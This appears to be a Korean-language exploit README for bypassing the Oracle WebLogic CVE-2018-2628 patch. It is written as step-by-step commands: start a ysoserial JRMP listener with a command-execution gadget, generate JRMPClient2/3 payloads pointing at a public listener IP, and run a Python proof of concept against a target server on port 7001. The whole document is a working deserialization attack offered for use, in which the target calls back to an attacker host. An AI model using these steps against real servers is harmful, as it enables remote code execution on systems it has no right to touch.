
Oracle WebLogic CVE-2018-2628 패치를 우회하기 위한 일부 코드
명령 형식:
java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>
예:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
*Opening JRMP listener on 22801 출력이 표시되면 JRMPListener가 실행 중인 호스트의 IP 주소(예시는 공인 IP가 47.94.158.125인 Alibaba Cloud ECS 호스트에서 실행됨)와 지정된 포트를 기록합니다.
현재 알려진 두 가지 방법이 있습니다(Payload Object String 생성 시 아래 두 가지 방법 중 하나를 선택하면 됩니다):
Payload Object String 생성 명령 형식:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
예:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
예시(JRMPClient2로 생성한 Payload 객체 바이너리 출력 데이터):

Payload Object String 생성 명령 형식:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
예:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
예시(JRMPClient3로 생성한 Payload 객체 바이너리 출력 데이터):

wls-cve-2018-2628-poc.py를 편집하고 이전 단계에서 생성한 hex 문자열로 스크립트 상단의 payload_str 변수 값을 교체합니다(이 스크립트에 포함된 두 payload_str 변수 값은 각각 위 두 가지 방법으로 생성된 hex string에 해당하므로 직접 사용할 수 있습니다).
명령 형식:
python wls-cve-2018-2628-poc.py <目标WebLogic Server实例监听IP> <目标WebLogic Server实例监听端口>
예:
python wls-cve-2018-2628-poc.py 192.168.64.83 7001
예시(Patch Set Update 180417이 설치된 상태):


xxlegend@nsfocus(CVE-2018-2628의 취약점 발견 및 제출자 중 한 명으로, 취약점 이용 방법과 관련 코드 예시를 공개함)
badcode@knownsec(weblogic.jms.common.StreamMessageImpl을 이용한 java.rmi.registry.Registry 캡슐화 코드 예시 제공)
ysoserial project(많은 Java 역직렬화 익스플로잇 프로그램을 집약함)